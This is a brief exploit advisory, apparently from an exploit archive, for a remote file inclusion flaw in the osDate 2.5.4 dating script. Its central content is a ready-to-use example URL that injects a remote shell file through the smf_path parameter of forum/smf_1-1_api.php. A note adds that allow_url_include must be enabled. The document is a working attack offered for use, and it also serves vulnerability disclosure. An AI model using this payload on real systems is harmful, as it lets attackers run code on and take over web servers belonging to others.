### ### Exploit Title: osDate 2.5.4 Remote File Inclusion Vulnerability ### Date: 19/7/2012 ### Author: L0n3ly-H34rT ### Contact: l0n3ly_h34rt@hotmail.com ### My Site: http://se3c.blogspot.com/ ### Vendor Homepage: http://www.tufat.com/s_free_dating_system.htm ### Software Link: http://www.tufat.com/files_lgpl/script_39.zip ### Version: 2.5.4 ### Tested on: Linux/Windows ### # Examble : http://127.0.0.1/osdate/forum/smf_1-1_api.php?smf_path=http://127.0.0.1/shell.txt? # Notes : 1- Must be allow_url_include=On 2- Is also affected in this two exploits found before: http://www.exploit-db.com/exploits/11755/ http://www.exploit-db.com/exploits/14989/ # Greetz to my friendz